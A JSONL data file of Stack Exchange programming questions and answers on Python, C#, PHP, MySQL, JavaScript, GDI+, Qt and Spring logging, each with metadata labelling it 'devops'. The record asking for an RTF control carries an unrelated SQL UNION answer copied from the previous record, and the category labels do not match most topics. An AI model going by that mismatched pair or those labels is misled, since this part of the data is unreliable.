{"id": "hf_1ca01b1b4c18", "question": "<p>I'm trying to teach Komodo to fire up <a href=\"http://en.wikipedia.org/wiki/IDLE_(Python)\" rel=\"noreferrer\">IDLE</a> when I hit the right keystrokes.  I can use the exact path of the shortcut in start menu in the Windows Explorer location bar to launch IDLE so I was hoping Komodo would be able to use it as well.  But, giving this path to Komodo causes it to say that 1 is returned.  This appears to be a failure as IDLE doesn't start up.</p>\n\n<p>I thought I'd avoid the shortcut and just use the exact path.  I go to the start menu, find the shortcut for IDLE, right click to look at the properties.  The target is grayed out, but says \"Python 2.5.2\".  The \"Start in\" is set to, \"C:\\Python25\\\".  The \"Open File Location\" button is also grayed out.</p>\n\n<p>How do I find out where this shortcut is really pointing?  I have tried starting python.exe and pythonw.exe both in C:\\Python25, but neither starts up IDLE.</p>\n", "question_body": "", "answer": "There's a file called\n```\nidle.py\n```\nin your Python installation directory in\n```\nLib\\idlelib\\idle.py\n```\n.\nIf you run that file with Python, then IDLE should start.\nc:\\Python25\\pythonw.exe c:\\Python25\\Lib\\idlelib\\idle.py", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:50.528817"}
{"id": "hf_0ad0b7bd670a", "question": "<p>(Java question)</p>\n\n<p>If I reference a field in an inner class, does this cause a circular dependency between the enclosing class and the inner class?</p>\n\n<p>How can I avoid this? </p>\n\n<p>Here is an example:</p>\n\n<pre><code>public class Outer {\n\n  private Other o;\n  private Inner i;    \n\n  public Outer() {\n    o = new Other();\n\n    i = new Inner() {\n      public void doSomething() {\n        o.foo();\n      }\n    };\n\n  }\n}\n</code></pre>\n", "question_body": "", "answer": "The syntax you're using in the example is a little off there is no declaration of the class or interface Inner. But there isn't anything wrong with the concept of the example. In Java it will work fine.\nI'm not sure what you're doing here, but you may want to consider a more simple design for maintainability etc.\nIt's a common pattern for anonymous event handlers to reference elements of their parent class, so no reason to avoid it if that's the case, that's how Java was designed instead of having function pointers.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:50.564489"}
{"id": "hf_b7ea50ea4f0c", "question": "<p>So I was writing some code today that basically looks like this:</p>\n\n<pre><code>string returnString = s.Replace(\"!\", \" \")\n            .Replace(\"@\", \" \")\n            .Replace(\"#\", \" \")\n            .Replace(\"$\", \" \")\n            .Replace(\"%\", \" \")\n            .Replace(\"^\", \" \")\n            .Replace(\"*\", \" \")\n            .Replace(\"_\", \" \")\n            .Replace(\"+\", \" \")\n            .Replace(\"=\", \" \")\n            .Replace(\"\\\", \" \")\n</code></pre>\n\n<p>Which isn't really nice. I was wondering if there's a regex or something that I could write that would replace all the calls to the <code>Replace()</code> function?</p>\n", "question_body": "", "answer": "You can use\nRegex.Replace()\n. All of the characters can be placed between square brackets, which matches any character between the square brackets. Some special characters have to be escaped with backslashes, and I use a @verbatim string here, so I don't have to double-escape them for the C# compiler. The first parameter is the input string and the last parameter is the replacement string.\n```\n```\nvar returnString = Regex.Replace(s,@\"[!@#\\$%\\^*_\\+=\\\\]\",\" \");\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:50.619972"}
{"id": "hf_1a8fbde48a47", "question": "<p>How can UTF-8 strings (i.e. 8-bit string) be converted to/from XML-compatible 7-bit strings (i.e. printable ASCII with numeric entities)?</p>\n\n<p>i.e. an <code>encode()</code> function such that:</p>\n\n<pre><code>encode(\"“£”\") -&gt; \"&amp;#8220;&amp;#163;&amp;#8221;\"\n</code></pre>\n\n<p><code>decode()</code> would also be useful:</p>\n\n<pre><code>decode(\"&amp;#8220;&amp;#163;&amp;#8221;\") -&gt; \"“£”\"\n</code></pre>\n\n<p>PHP's <code>htmlenties()</code>/<code>html_entity_decode()</code> pair does not do the right thing:</p>\n\n<pre><code>htmlentities(html_entity_decode(\"&amp;#8220;&amp;#163;&amp;#8221;\")) -&gt;\n  \"&amp;amp;#8220;&amp;pound;&amp;amp;#8221;\"\n</code></pre>\n\n<p>Laboriously specifying types helps a little, but still returns XML-incompatible named entities, not numeric ones:</p>\n\n<pre><code>htmlentities(html_entity_decode(\"&amp;#8220;&amp;#163;&amp;#8221;\", ENT_QUOTES, \"UTF-8\"), ENT_QUOTES, \"UTF-8\") -&gt;\n  \"&amp;ldquo;&amp;pound;&amp;rdquo;\"\n</code></pre>\n", "question_body": "", "answer": "It's a bit of a workaround, but I read a bit about\n```\niconv()\n```\nand i don't think it'll give you numeric entities (not put to the test)\n```\n```\nfunction decode( $string )\n{\n  $doc = new DOMDocument( \"1.0\", \"UTF-8\" ); \n  $doc->LoadXML( '<?xml version=\"1.0\" encoding=\"UTF-8\"?>'.\"\\n\".'<x />', LIBXML_NOENT );\n  $doc->documentElement->appendChild( $doc->createTextNode( $string ) );\n  $output = $doc->saveXML( $doc );\n  $output = preg_replace( '/<\\?([^>]+)\\?>/', '', $output ); \n  $output = str_replace( array( '<x>', '</x>' ), array( '', '' ), $output );\n  return trim( $output );\n}\n```\n```\nThis however, I have put to the test. I might do the reverse later, just don't hold your breath ;-)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:50.643437"}
{"id": "hf_5bba5afa9b98", "question": "<p>This came up in  <a href=\"https://stackoverflow.com/questions/101268/hidden-features-of-python\">Hidden features of Python</a>, but I can't see good documentation or examples that explain how the feature works.</p>\n", "question_body": "", "answer": "```\nEllipsis\n```\n, or\n```\n...\n```\nis not a hidden feature, it's just a constant. It's quite different to, say, javascript ES6 where it's a part of the language syntax. No builtin class or Python language constuct makes use of it.\nSo the syntax for it depends entirely on you, or someone else, having written code to understand it.\nNumpy uses it, as stated in the\ndocumentation\n. Some examples\nhere\n.\nIn your own class, you'd use it like this:\n```\n```\n>>> class TestEllipsis(object):\n...     def __getitem__(self, item):\n...         if item is Ellipsis:\n...             return \"Returning all items\"\n...         else:\n...             return \"return %r items\" % item\n... \n>>> x = TestEllipsis()\n>>> print x[2]\nreturn 2 items\n>>> print x[...]\nReturning all items\n```\n```\nOf course, there is the\npython documentation\n, and\nlanguage reference\n. But those aren't very helpful.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:50.750798"}
{"id": "hf_de104553e422", "question": "<p>I have Drupal 5 site where a button is clicked and it calls a JavaScript function. The function basically builds a string, and then redirects to another page on our site. After clicking the button, sometimes the user gets logged out and sees the \"Access Denied\" screen, even though they were previously logged in. The page where they are being redirected has the same access restrictions as the previous page, but regardless of that, they shouldn't be getting logged out.</p>\n\n<p>One user has this happen about half the time (the other half it works as it should), and another user has reported always being logged out when clicking that button. However, I'm always able to run it without a hitch on the machines I use, and I suspect it has to do with them using IE6. Has anyone run across this issue before, or have any ideas on what could be causing this? I've searched and posted in the Drupal forum, and searched in this forum, and have had no luck yet.</p>\n", "question_body": "", "answer": "Many things come to mind.\nIs the page being redirected to on the same domain?  domain.com and www.domain.com are NOT the same as far as cookies are concerned (depending on how they are set)..\nCan you reproduce it 100% reliably in any browser? No offense to your users, but users are liars (or at least bad at reporting technical bugs). I wouldn't trust something a user told me as fact (\"oh, well, yeah, I was closing the browser between tries. but that shouldn't matter.\").\nIs there something running on the server that is clearing out session, or is the session expiration limit set too loo?\nMoral: go try and reproduce the issue first, so you can narrow down exactly what it is. I suggest Firebug + Firecookie for debugging Firefox and general cookie problems, and Fiddler2 (a proxy) for debugging IE.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:50.798715"}
{"id": "hf_05d058296af0", "question": "<p>Along the lines of my previous <a href=\"https://stackoverflow.com/questions/118096/how-can-i-parse-a-comma-delimited-string-into-a-list-caveat\">question</a>, how can i join a list of strings into a string such that values get quoted cleanly. Something like:</p>\n\n<pre><code>['a', 'one \"two\" three', 'foo, bar', \"\"\"both\"'\"\"\"]\n</code></pre>\n\n<p>into:</p>\n\n<pre><code>a, 'one \"two\" three', \"foo, bar\", \"both\\\"'\"\n</code></pre>\n\n<p>I suspect that the csv module will come into play here, but i'm not sure how to get the output I want.</p>\n", "question_body": "", "answer": "Using the\n```\ncsv\n```\nmodule you can do that way:\n```\n```\nimport csv\nwriter = csv.writer(open(\"some.csv\", \"wb\"))\nwriter.writerow(the_list)\n```\n```\nIf you need a string just use\n```\nStringIO\n```\ninstance as a file:\n```\n```\nf = StringIO.StringIO()\nwriter = csv.writer(f)\nwriter.writerow(the_list)\nprint f.getvalue()\n```\n```\nThe output:\n```\na,\"one \"\"two\"\" three\",\"foo, bar\",\"both\"\"'\"\n```\n```\ncsv\n```\nwill write in a way it can read back later.\nYou can fine-tune its output by defining a\n```\ndialect\n```\n, just set\n```\nquotechar\n```\n,\n```\nescapechar\n```\n, etc, as needed:\n```\n```\nclass SomeDialect(csv.excel):\n    delimiter = ','\n    quotechar = '\"'\n    escapechar = \"\\\\\"\n    doublequote = False\n    lineterminator = '\\n'\n    quoting = csv.QUOTE_MINIMAL\n\nf = cStringIO.StringIO()\nwriter = csv.writer(f, dialect=SomeDialect)\nwriter.writerow(the_list)\nprint f.getvalue()\n```\n```\nThe output:\n```\na,one \\\"two\\\" three,\"foo, bar\",both\\\"'\n```\nThe same dialect can be used with csv module to read the string back later to a list.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:50.871012"}
{"id": "hf_1e81d05582ab", "question": "<p>We are looking to do some heavy security requirements on our project, and we need to do a lot of encryption that is highly performant.</p>\n\n<p>I think that I know that PKI is much slower and more complex than symmetric encryption, but I can't find the numbers to back up my feelings.</p>\n", "question_body": "", "answer": "Use the OpenSSL\n```\nspeed\n```\nsubcommand to benchmark the algorithms and see for yourself.\n```\n```\n[dave@hal9000 ~]$ openssl speed aes-128-cbc\nDoing aes-128 cbc for 3s on 16 size blocks: 26126940 aes-128 cbc's in 3.00s\nDoing aes-128 cbc for 3s on 64 size blocks: 7160075 aes-128 cbc's in 3.00s\n...\nThe 'numbers' are in 1000s of bytes per second processed.\ntype             16 bytes     64 bytes    256 bytes   1024 bytes   8192 bytes\naes-128 cbc     139343.68k   152748.27k   155215.70k   155745.61k   157196.29k\n\n[dave@hal9000 ~]$ openssl speed rsa2048\nDoing 2048 bit private rsa's for 10s: 9267 2048 bit private RSA's in 9.99s\nDoing 2048 bit public rsa's for 10s: 299665 2048 bit public RSA's in 9.99s\n...\n                  sign    verify    sign/s verify/s\nrsa 2048 bits 0.001078s 0.000033s    927.6  29996.5\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:50.895096"}
{"id": "hf_562c215537ed", "question": "<p>Sorry the title isn't more help. I have a database of media-file URLs that came from two sources: </p>\n\n<p>(1) RSS feeds and (2) manual entries. </p>\n\n<p>I want to find the ten most-recently added URLs, but a maximum of one from any feed. To simplify, table '<code>urls</code>' has columns <code>'url, feed_id, timestamp'</code>. </p>\n\n<p><code>feed_id=''</code> for any URL that was entered manually.</p>\n\n<p>How would I write the query? Remember, I want the ten most-recent urls, but only one from any single <code>feed_id</code>.</p>\n", "question_body": "", "answer": "You probably want a\nunion\n. Something like this should work:\n```\n```\n(SELECT \n        url, feed_id, timestamp \n    FROM rss_items  \n    GROUP BY feed_id \n    ORDER BY timestamp DESC \n    LIMIT 10)\nUNION\n    (SELECT \n        url, feed_id, timestamp \n    FROM manual_items  \n    GROUP BY feed_id \n    ORDER BY timestamp DESC \n    LIMIT 10)\nORDER BY timestamp DESC\nLIMIT 10\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:50.944189"}
{"id": "hf_78a2f0925d86", "question": "<p>Can anyone recommend a cheap and good RTF control for .Net 1.1 Windows development. It needs to be able to do print/preview and some basic text formatting, fonts etc but nothing too advanced.</p>\n\n<p>Cheers</p>\n\n<p>Andreas</p>\n", "question_body": "", "answer": "You probably want a\nunion\n. Something like this should work:\n```\n```\n(SELECT \n        url, feed_id, timestamp \n    FROM rss_items  \n    GROUP BY feed_id \n    ORDER BY timestamp DESC \n    LIMIT 10)\nUNION\n    (SELECT \n        url, feed_id, timestamp \n    FROM manual_items  \n    GROUP BY feed_id \n    ORDER BY timestamp DESC \n    LIMIT 10)\nORDER BY timestamp DESC\nLIMIT 10\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:50.968853"}
{"id": "hf_81954bb62383", "question": "<p>The question is a fairly open one. I've been using Stored Procs with MS SQLServer for some time with classic ASP and ASP.net and love them, lots.</p>\n\n<p>I have a small hobby project I'm working on and for various reasons have gone the LAMP route. Any hints/tricks/traps or good starting points to get into using stored procedures with MySQL and PHP5? My version of MySQL supports Stored Procedures.</p>\n", "question_body": "", "answer": "You'll need to use\nMySQLI\n(MySQL Improved Extension) to call stored procedures. Here's how you would call an\nSP\n:\n```\n```\n$mysqli = new MySQLI(user,pass,db);\n\n$result = $mysqli->query(\"CALL sp_mysp()\");\n```\n```\nWhen using SPs you'll need close first resultset or you'll receive an error. Here's some more information :\nhttp://blog.rvdavid.net/using-stored-procedures-mysqli-in-php-5/\n(broken link)\nAlternatively, you can use\nPrepared Statements\n, which I find very straight-forward:\n```\n```\n$stmt = $mysqli->prepare(\"SELECT Phone FROM MyTable WHERE Name=?\");\n\n  $stmt->bind_param(\"s\", $myName);\n\n  $stmt->execute();\n```\n```\nMySQLI Documentation:\nhttp://no.php.net/manual/en/book.mysqli.php", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:51.006143"}
{"id": "hf_9c16fa19e9a5", "question": "<p>How do you support optimistic / pessimistic concurrency using NHibernate?</p>\n", "question_body": "", "answer": "NHibernate, by default, supports optimistic concurrency. Pessimistic concurrency, on the other hand, can be accomplished through the\n```\nISession.Lock()\n```\nmethod.\nThese issues are discussed in detail in\nthis document\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:51.054366"}
{"id": "hf_8c921beb88dd", "question": "<p>What is the best way to test my webforms applications?</p>\n\n<p>Looks like people are loving Watin, and selenium.</p>\n", "question_body": "", "answer": "UPDATE\n:\nGiven WatiN has been stagnant for over a year now, I would direct anyone that needs web ui tests towards\nselenium\n, it is in continuous use & development by many contributors, and is actively used by Google.\nWatiN\nis the best that I've found.  It integrates into Visual Studio unit testing or nunit & you can do pretty much anything you need in the browser (click links, submit forms, look for text/images, etc.)\nSee the following questions for similar answers:\nWhat is the best way to do unit testing for ASP web pages (C#)?\nWeb Application Testing for .Net (watin Test Recorder)\nHow do you programmatically fill in a form and ‘POST’ a web page?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:51.090175"}
{"id": "hf_0ef0ba95577f", "question": "<p>Is there a way to manipulate the speed of the video playback? I'm especially interested in a way to slow down with frame blending, exactly like the function in Final Cut Pro. </p>\n", "question_body": "", "answer": "Interpolation should be able to help you. There's an example included with Quartz Composer (Interpolation Modes.qtz) and a beginning tutorial\nhere\nthat breifly mentions it (step 5).\nthis wiki article\nalso discusses it and talks about the different types.\nNote: I don't actually have a Mac that can run QC, so this is just what I've been able to find through Google, but it sounds like it should get you on the right track.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:51.125989"}
{"id": "hf_097d83738a4d", "question": "<p>Say I have a web service <a href=\"http://www.example.com/webservice.pl?q=google\" rel=\"noreferrer\">http://www.example.com/webservice.pl?q=google</a> which returns text \"google.com\". I need to call this web service (<a href=\"http://www.example.com/webservice.pl\" rel=\"noreferrer\">http://www.example.com/webservice.pl</a>) from a JavaScript module with a parameter (q=google) and then use the return value (\"google.com\") to do further processing.</p>\n\n<p>What's the simplest way to do this? I am a total JavaScript newbie, so any help is much appreciated.</p>\n", "question_body": "", "answer": "Take a look at one of the many javascript libraries out there. I'd recommend\njQuery\n, personally. Aside from all the fancy UI stuff they can do, it has really good\ncross-browser AJAX libraries\n.\n```\n```\n$.get(\n    \"http://xyz.com/webservice.pl\",\n    { q : \"google\" },\n    function(data) {\n        alert(data);  // \"google.com\"\n    }\n);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:51.184434"}
{"id": "hf_0f42562c868f", "question": "<p>I had assumed that the canonical form for operator+, assuming the existence of an overloaded operator+= member function, was like this:</p>\n\n<pre><code>const T operator+(const T&amp; lhs, const T&amp; rhs)\n{\n    return T(lhs) +=rhs;\n}\n</code></pre>\n\n<p>But it was pointed out to me that this would also work:</p>\n\n<pre><code>const T operator+ (T lhs, const T&amp; rhs)\n{\n    return lhs+=rhs;\n}\n</code></pre>\n\n<p>In essence, this form transfers creation of the temporary from the body of the implementation to the function call.</p>\n\n<p>It seems a little awkward to have different types for the two parameters, but is there anything wrong with the second form?  Is there a reason to prefer one over the other?</p>\n", "question_body": "", "answer": "With the edited question, the first form would be preferred.  The compiler will more likely optimize the return value (you could verify this by placing a breakpoint in the constructor for T).  The first form also takes both parameters as const, which would be more desirable.\nResearch on the topic of\nreturn value optimization\n, such as this link as a quick example:\nhttp://www.cs.cmu.edu/~gilpin/c++/performance.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:51.266869"}
{"id": "hf_ed16976c32d8", "question": "<p>I need to layout a html datatable with CSS. </p>\n\n<p>The actual content of the table can differ, but there is always one main column and 2 or more other columns. I'd like to make the main column take up as MUCH width as possible, regardless of its contents, while the other columns take up as little width as possible. I can't specify exact widths for any of the columns because their contents can change.</p>\n\n<p>How can I do this using a simple semantically valid html table and css only?</p>\n\n<p>For example:</p>\n\n<pre>\n| Main column                           | Col 2 | Column 3 |\n &lt;------------------ fixed width in px -------------------&gt;\n &lt;------- as wide as possible ---------&gt;\n Thin as possible depending on contents: &lt;-----&gt; &lt;--------&gt; \n</pre>\n", "question_body": "", "answer": "I'm far from being a CSS expert but this works for me (in IE, FF, Safari and Chrome):\n```\n```\ntd.zero_width {\n    width: 1%;\n}\n```\n```\nThen in your HTML:\n```\n```\n<td class=\"zero_width\">...</td>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:51.293334"}
{"id": "hf_be81b7a3ffca", "question": "<p>I am a totally blind programmer who would like to learn Python. Unfortunately the fact that code blocks are represented with different levels of indentation is a major stumbling block. I was wondering if there were any tools available that would allow me to write code using braces or some other code block delimiter and then convert that format into a properly indented representation that the Python interpreter could use?</p>\n", "question_body": "", "answer": "I personally doubt that there currently is at the moment, as a lot of the Python afficionados love the fact that Python is this way, whitespace delimited.\nI've never actually thought about that as an accessibility issue however. Maybe it's something to put forward as a bug report to Python?\nI'd assume that you use a screen reader here however for the output? So the tabs would seem \"invisible\" to you? With a Braille output, it might be easier to read, but I can understand exactly how confusing this could be.\nIn fact, this is very interesting to me. I wish that I knew enough to be able to write an app that will do this for you.\nI think it's definately something that I'll put in a bug report for, unless you've already done so yourself, or want to.\nEdit: Also, as\nnoted\nby\nJohn Millikin\nThere is also\nPyBraces\nWhich might be a viable solution to you, and may be possible to be hacked together dependant on your coding skills to be exactly what you need (and I hope that if that's the case, you release it out for others like yourself to use)\nEdit 2: I've just\nreported this\nto the python bug tracker", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:51.343530"}
{"id": "hf_88faf910363a", "question": "<p>I am building a physics simulation engine and editor in Windows. I want to build the editor part using Qt and I want to run the engine using SDL with OpenGL.</p>\n\n<p>My first idea was to build the editor using only Qt and share as much code with the engine (the resource manager, the renderer, the maths). But, I would also like to be able to run the simulation inside the editor. <strong>This means I also have to share the simulation code which uses SDL threads.</strong></p>\n\n<p>So, my question is this: Is there a way to have an the render OpenGL to a Qt window by using SDL?</p>\n\n<p>I have read on the web that it might be possible to supply SDL with a window handle in which to render. Anybody has experience dong that?</p>\n\n<p>Also, the threaded part of the simulator might pose a problem since it uses SDL threads.</p>\n", "question_body": "", "answer": "Rendering onto opengl from QT is trivial (and works very well)\nNo direct experience of SDL but there is an example app here about mixing them.\nhttp://www.devolution.com/pipermail/sdl/2003-January/051805.html\nThere is a good article about mixing QT widgewts directly with the opengl here\nhttp://doc.trolltech.com/qq/qq26-openglcanvas.html\na bit beyond what you strictly need but rather clever!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:51.390195"}
{"id": "hf_d7ee4970540b", "question": "<p>I have an Events list in sharepoint and need to disallow users from having the ability to create meeting workspaces in the new event form.  Shy of customizing the new event form (which breaks attachment support), how can this be done?</p>\n", "question_body": "", "answer": "By default, in order for users to create a meeting workspace, they will need to be an administrator or Site Owner (specifically they will need the Create Sites permission).  If you don't give them this permission, they won't be able to create a meeting workspace.\nThis will disallow the user to create any site under the site where these permissions are set.  I'm not aware of a way to restrict access to a specific site definition but still allow users to create a different one.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:51.413626"}
{"id": "hf_6f5ac6a12163", "question": "<p>I'm using GDI+ in C++.  (This issue might exist in C# too). </p>\n\n<p>I notice that whenever I call Graphics::MeasureString() or Graphics::DrawString(), the string is padded with blank space on the left and right.</p>\n\n<p>For example, if I am using a Courier font, (not italic!) and I measure \"P\" I get 90, but \"PP\" gives me 150.  I would expect a monospace font to give exactly double the width for \"PP\".</p>\n\n<p>My question is:  is this intended or documented behaviour, and how do I disable this?  </p>\n\n<pre><code>RectF Rect(0,0,32767,32767);\nRectF Bounds1, Bounds2;\ngraphics-&gt;MeasureString(L\"PP\", 1, font, Rect, &amp;Bounds1);\ngraphics-&gt;MeasureString(L\"PP\", 2, font, Rect, &amp;Bounds2);\nmargin = Bounds1.Width * 2 - Bounds2.Width;\n</code></pre>\n", "question_body": "", "answer": "It's by design, that method doesn't use the actual glyphs to measure the width and so adds a little padding in the case of overhangs.\nMSDN\nsuggests using a different method if you need more accuracy:\nTo obtain metrics suitable for adjacent strings in layout (for example, when implementing formatted text), use the\nMeasureCharacterRanges\nmethod or one of the\nMeasureString\nmethods that takes a\nStringFormat\n, and pass\nGenericTypographic\n. Also, ensure the\nTextRenderingHint\nfor the\nGraphics\nis\nAntiAlias\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:51.450054"}
{"id": "hf_dfc292fa5e48", "question": "<p>Dynamically creating a radio button using eg </p>\n\n<pre><code>var radioInput = document.createElement('input');\nradioInput.setAttribute('type', 'radio');\nradioInput.setAttribute('name', name);\n</code></pre>\n\n<p>works in Firefox but not in IE. Why not?</p>\n", "question_body": "", "answer": "Based on this post and its comments:\nhttp://cf-bill.blogspot.com/2006/03/another-ie-gotcha-dynamiclly-created.html\nthe following works. Apparently the problem is that you can't dynamically set the name property in IE. I also found that you can't dynamically set the checked attribute either.\n```\n```\nfunction createRadioElement( name, checked ) {\n    var radioInput;\n    try {\n        var radioHtml = '<input type=\"radio\" name=\"' + name + '\"';\n        if ( checked ) {\n            radioHtml += ' checked=\"checked\"';\n        }\n        radioHtml += '/>';\n        radioInput = document.createElement(radioHtml);\n    } catch( err ) {\n        radioInput = document.createElement('input');\n        radioInput.setAttribute('type', 'radio');\n        radioInput.setAttribute('name', name);\n        if ( checked ) {\n            radioInput.setAttribute('checked', 'checked');\n        }\n    }\n\n    return radioInput;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:51.476591"}
{"id": "hf_38510b07d684", "question": "<p>Usecase: The user makes font customizations to an object on the design surface, that I need to load/save to my datastore. I.e. settings like Bold, Italics, Size, Font Name need to persisted.</p>\n\n<p>Is there some easy (and reliable) mechanism to convert/read back from a string representation of the font object (in which case I would need just one attribute)? Or is multiple properties combined with custom logic the right option? </p>\n", "question_body": "", "answer": "Use\nTypeConverter\n:\n```\n```\nFont font = new Font(\"Arial\", 12, GraphicsUnit.Pixel);\n\nTypeConverter converter = TypeDescriptor.GetConverter(typeof (Font));\n\nstring fontStr = converter.ConvertToInvariantString(font);\n\nFont font2 = (Font) converter.ConvertFromString(fontStr);\n\nConsole.WriteLine(font.Name == font2.Name); // prints True\n```\n```\nIf you want to use XML serialization you can create Font class wrapper which will store some subset of Font properties.\nNote(Gishu) - Never access a type converter directly. Instead, access the appropriate converter by using TypeDescriptor. Very important :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:51.512837"}
{"id": "hf_634f4f9c0e1f", "question": "<p>I have done some searches looking for information about how to do logging with the Spring Framework.</p>\n\n<p>We currently have an application that has no logging in it except for system.out statements (very bad way).</p>\n\n<p>What I would like to do, is add logging, but also want to be able to control the logging at run time, with say JMX.</p>\n\n<p>We are using Rad 7.0 / WebSphere 6.1</p>\n\n<p>I am interesting to find out what is the best way(s) to accomplish this (I figure there may be several).</p>\n\n<p>Update:  Thoughts on the following <a href=\"http://www.devx.com/Java/Article/30799/0/page/1\" rel=\"nofollow noreferrer\">Spring AOP Logging</a> Good ideal or not.  This is in reference to a question posted here on logging:  <a href=\"https://stackoverflow.com/questions/105852/how-do-you-deal-with-conditional-logging-when-trying-to-respect-a-limited-cyclo\">Conditional Logging</a>.  Does this improve things or just makes it more difficult in the area of logging?</p>\n", "question_body": "", "answer": "I would use\nCommons Logging\nand\nLog4j\n.  This is not really a question for Spring, however the Springframework source does uses Commons Logging as well. If you create a log4j logger and appender in log4j, you can enable logging within the Springframework classes too.  There are a few ways to control logging at runtime.  The Log4j sandbox has a JSP, that you can drop into your webapp, that will allow you to control the log levels of all of the loggers within your application.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:51.537113"}
